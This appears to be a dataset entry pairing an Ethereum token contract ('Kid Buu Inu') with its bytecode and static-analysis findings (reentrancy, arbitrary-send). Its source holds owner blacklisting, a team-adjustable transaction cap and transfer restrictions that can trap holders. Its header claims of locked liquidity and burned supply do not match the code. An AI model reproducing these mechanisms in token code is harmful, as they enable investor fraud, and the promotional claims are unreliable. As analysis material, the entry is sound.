ffffffffff161415801561195d575061192d610a81565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561199557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119eb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a415750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fea57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aea5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611af357600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b9e5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c0c5750601360179054906101000a900460ff165b15611d8057600a54811115611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90613365565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613385565b60405180910390fd5b600d5481611ce4846108dd565b611cee919061348a565b1115611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d26906132e5565b60405180910390fd5b601e42611d3c919061348a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611e2b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e97576001600e81905550600c600f819055505b436005600b54611ea7919061348a565b10158015611f025750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611f18576001600e819055506063600f819055505b6000611f23306108dd565b90506000600c548210159050808015611f495750601360159054906101000a900460ff16155b8015611fa35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611fbb5750601360169054906101000a900460ff165b15611fe357611fc98261206f565b60004790506000811115611fe157611fe0476123d7565b5b505b5050611ffb565b6000600e819055506000600f819055505b6120068383836124d2565b505050565b6000838311158290612053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204a91906131e3565b60405180910390fd5b5060008385612062919061356b565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120fb5781602001602082028036833780820191505090505b5090503081600081518110612139577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121db57600080fd5b505afa1580156121ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122139190612c47565b8160018151811061224d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122b430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e9565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123189594939291906133c0565b600060405180830381600087803b15801561233257600080fd5b505af1158015612346573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60006008548211156123b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a790613225565b60405180910390fd5b60006123ba6124e2565b90506123cf818461250d90919063ffffffff16565b915050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242760028461250d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612452573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124a360028461250d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ce573d6000803e3d6000fd5b5050565b6124dd838383612557565b505050565b60008060006124ef612722565b91509150612506818361250d90919063ffffffff16565b9250505090565b600061254f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612787565b905092915050565b600080600080600080612569876127ea565b9550955095509550955095506125c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8816128fa565b6126b284836129b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161270f91906133a5565b60405180910390a3505050505050505050565b60008060006008549050600069152d02c7e14af6800000905061275a69152d02c7e14af680000060085461250d90919063ffffffff16565b82101561277a5760085469152d02c7e14af6800000935093505050612783565b81819350935050505b9091565b600080831182906127ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c591906131e3565b60405180910390fd5b50600083856127dd91906134e0565b9050809150509392505050565b60008060008060008060008060006128078a600e54600f546129f1565b92509250925060006128176124e2565b9050600080600061282a8e878787612a87565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061200b565b905092915050565b60008082846128ab919061348a565b9050838110156128f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e790613265565b60405180910390fd5b8091505092915050565b60006129046124e2565b9050600061291b8284612b1090919063ffffffff16565b905061296f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129cc8260085461285290919063ffffffff16565b6008819055506129e78160095461289c90919063ffffffff16565b6009819055505050565b600080600080612a1d6064612a0f888a612b1090919063ffffffff16565b61250d90919063ffffffff16565b90506000612a476064612a39888b612b1090919063ffffffff16565b61250d90919063ffffffff16565b90506000612a7082612a62858c61285290919063ffffffff16565b61285290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612aa08589612b1090919063ffffffff16565b90506000612ab78689612b1090919063ffffffff16565b90506000612ace8789612b1090919063ffffffff16565b90506000612af782612ae9858761285290919063ffffffff16565b61285290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b235760009050612b85565b60008284612b319190613511565b9050828482612b4091906134e0565b14612b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7790613285565b60405180910390fd5b809150505b92915050565b600081359050612b9a816139d9565b92915050565b600081519050612baf816139d9565b92915050565b600081359050612bc4816139f0565b92915050565b600081359050612bd981613a07565b92915050565b600081519050612bee81613a07565b92915050565b600081359050612c0381613a1e565b92915050565b600081519050612c1881613a1e565b92915050565b600060208284031215612c3057600080fd5b6000612c3e84828501612b8b565b91505092915050565b600060208284031215612c5957600080fd5b6000612c6784828501612ba0565b91505092915050565b600060208284031215612c8257600080fd5b6000612c9084828501612bb5565b91505092915050565b60008060408385031215612cac57600080fd5b6000612cba85828601612b8b565b9250506020612ccb85828601612b8b565b9150509250929050565b600080600060608486031215612cea57600080fd5b6000612cf886828701612b8b565b9350506020612d0986828701612b8b565b9250506040612d1a86828701612bf4565b9150509250925092565b60008060408385031215612d3757600080fd5b6000612d4585828601612b8b565b9250506020612d5685828601612bf4565b9150509250929050565b600060208284031215612d7257600080fd5b6000612d8084828501612bca565b91505092915050565b600060208284031215612d9b57600080fd5b6000612da984828501612bdf565b91505092915050565b600060208284031215612dc457600080fd5b6000612dd284828501612bf4565b91505092915050565b600080600060608486031215612df057600080fd5b6000612dfe86828701612c09565b9350506020612e0f86828701612c09565b9250506040612e2086828701612c09565b9150509250925092565b6000612e368383612e42565b60208301905092915050565b612e4b8161359f565b82525050565b612e5a8161359f565b82525050565b6000612e6b82613445565b612e758185613468565b9350612e8083613435565b8060005b83811015612eb1578151612e988882612e2a565b9750612ea38361345b565b925050600181019050612e84565b5085935050505092915050565b612ec7816135c3565b82525050565b612ed681613606565b82525050565b6000612ee782613450565b612ef18185613479565b9350612f01818560208601613618565b612f0a816136a9565b840191505092915050565b6000612f22602383613479565b9150612f2d826136ba565b604082019050919050565b6000612f45602a83613479565b9150612f5082613709565b604082019050919050565b6000612f68602283613479565b9150612f7382613758565b604082019050919050565b6000612f8b601b83613479565b9150612f96826137a7565b602082019050919050565b6000612fae602183613479565b9150612fb9826137d0565b604082019050919050565b6000612fd1602083613479565b9150612fdc8261381f565b602082019050919050565b6000612ff4602983613479565b9150612fff82613848565b604082019050919050565b6000613017601783613479565b915061302282613897565b602082019050919050565b600061303a602583613479565b9150613045826138c0565b604082019050919050565b600061305d602483613479565b91506130688261390f565b604082019050919050565b6000613080601783613479565b915061308b8261395e565b602082019050919050565b60006130a3601c83613479565b91506130ae82613987565b602082019050919050565b60006130c6601283613479565b91506130d1826139b0565b602082019050919050565b6130e5816135ef565b82525050565b6130f4816135f9565b82525050565b600060208201905061310f6000830184612e51565b92915050565b600060408201905061312a6000830185612e51565b6131376020830184612e51565b9392505050565b60006040820190506131536000830185612e51565b61316060208301846130dc565b9392505050565b600060c08201905061317c6000830189612e51565b61318960208301886130dc565b6131966040830187612ecd565b6131a36060830186612ecd565b6131b06080830185612e51565b6131bd60a08301846130dc565b979650505050505050565b60006020820190506131dd6000830184612ebe565b92915050565b600060208201905081810360008301526131fd8184612edc565b905092915050565b6000602082019050818103600083015261321e81612f15565b9050919050565b6000602082019050818103600083015261323e81612f38565b9050919050565b6000602082019050818103600083015261325e81612f5b565b9050919050565b6000602082019050818103600083015261327e81612f7e565b9050919050565b6000602082019050818103600083015261329e81612fa1565b9050919050565b600060208201905081810360008301526132be81612fc4565b9050919050565b600060208201905081810360008301526132de81612fe7565b9050919050565b600060208201905081810360008301526132fe8161300a565b9050919050565b6000602082019050818103600083015261331e8161302d565b9050919050565b6000602082019050818103600083015261333e81613050565b9050919050565b6000602082019050818103600083015261335e81613073565b9050919050565b6000602082019050818103600083015261337e81613096565b9050919050565b6000602082019050818103600083015261339e816130b9565b9050919050565b60006020820190506133ba60008301846130dc565b92915050565b600060a0820190506133d560008301886130dc565b6133e26020830187612ecd565b81810360408301526133f48186612e60565b90506134036060830185612e51565b61341060808301846130dc565b9695505050505050565b600060208201905061342f60008301846130eb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613495826135ef565b91506134a0836135ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134d5576134d461364b565b5b828201905092915050565b60006134eb826135ef565b91506134f6836135ef565b9250826135065761350561367a565b5b828204905092915050565b600061351c826135ef565b9150613527836135ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135605761355f61364b565b5b828202905092915050565b6000613576826135ef565b9150613581836135ef565b9250828210156135945761359361364b565b5b828203905092915050565b60006135aa826135cf565b9050919050565b60006135bc826135cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613611826135ef565b9050919050565b60005b8381101561363657808201518184015260208101905061361b565b83811115613645576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000600082015250565b7f436f6f6c646f776e20656e666f726365642e0000000000000000000000000000600082015250565b6139e28161359f565b81146139ed57600080fd5b50565b6139f9816135b1565b8114613a0457600080fd5b50565b613a10816135c3565b8114613a1b57600080fd5b50565b613a27816135ef565b8114613a3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204135df46545556c9a850728e2f7adf16f4f66fe6b016913a3f97f386ab8aae0164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,681
0xdd15118ac1550dcc107d0d2843d49cdec04d525d
/* Kid Buu Inu t.me/KidBuuInu Hold Kid Buu Inu 4% redistribution 100% Liq lock and renounce 100% community driven 50% burned */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KidBuuInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "@KidBuuInu"; string private constant _symbol = "KBI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping (address => bool) bannedUsers; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _redisfee = 4; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 2; _redisfee = 4; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function blockbot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 3650 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function maxTx(uint256 maxTxPercent) external { require(_msgSender() == _teamAddress); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5); emit MaxTxAmountUpdated(_maxTxAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } event WalletBanStatusUpdated(address user, bool banned); }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610386578063b9f14557146103af578063c3c8cd80146103d8578063dd62ed3e146103ef578063f77c49ab1461042c5761011f565b8063715018a6146102b35780638da5cb5b146102ca57806395d89b41146102f5578063a6e02d6414610320578063a9059cbb146103495761011f565b8063293230b8116100e7578063293230b8146101f4578063313ce5671461020b5780635932ead1146102365780636fc3eaec1461025f57806370a08231146102765761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b60405161014691906130d6565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612bad565b610492565b60405161018391906130bb565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190613298565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612b22565b6104c1565b6040516101eb91906130bb565b60405180910390f35b34801561020057600080fd5b5061020961059a565b005b34801561021757600080fd5b50610220610af6565b60405161022d919061330d565b60405180910390f35b34801561024257600080fd5b5061025d60048036038101906102589190612c2a565b610aff565b005b34801561026b57600080fd5b50610274610bb1565b005b34801561028257600080fd5b5061029d60048036038101906102989190612a94565b610c23565b6040516102aa9190613298565b60405180910390f35b3480156102bf57600080fd5b506102c8610c74565b005b3480156102d657600080fd5b506102df610dc7565b6040516102ec9190612fc4565b60405180910390f35b34801561030157600080fd5b5061030a610df0565b60405161031791906130d6565b60405180910390f35b34801561032c57600080fd5b5061034760048036038101906103429190612b71565b610e2d565b005b34801561035557600080fd5b50610370600480360381019061036b9190612bad565b610fcf565b60405161037d91906130bb565b60405180910390f35b34801561039257600080fd5b506103ad60048036038101906103a89190612be9565b610fed565b005b3480156103bb57600080fd5b506103d660048036038101906103d19190612a94565b61113d565b005b3480156103e457600080fd5b506103ed6111f9565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612ae6565b611273565b6040516104239190613298565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e9190612c7c565b6112fa565b005b60606040518060400160405280600a81526020017f404b6964427575496e7500000000000000000000000000000000000000000000815250905090565b60006104a661049f611411565b8484611419565b6001905092915050565b600068056bc75e2d63100000905090565b60006104ce8484846115e4565b61058f846104da611411565b61058a856040518060600160405280602881526020016139fa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610540611411565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da39092919063ffffffff16565b611419565b600190509392505050565b6105a2611411565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906131d8565b60405180910390fd5b601060149054906101000a900460ff161561067f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067690613258565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061070f30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000611419565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075557600080fd5b505afa158015610769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078d9190612abd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ef57600080fd5b505afa158015610803573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108279190612abd565b6040518363ffffffff1660e01b8152600401610844929190612fdf565b602060405180830381600087803b15801561085e57600080fd5b505af1158015610872573d6000803e3d6000fd5b5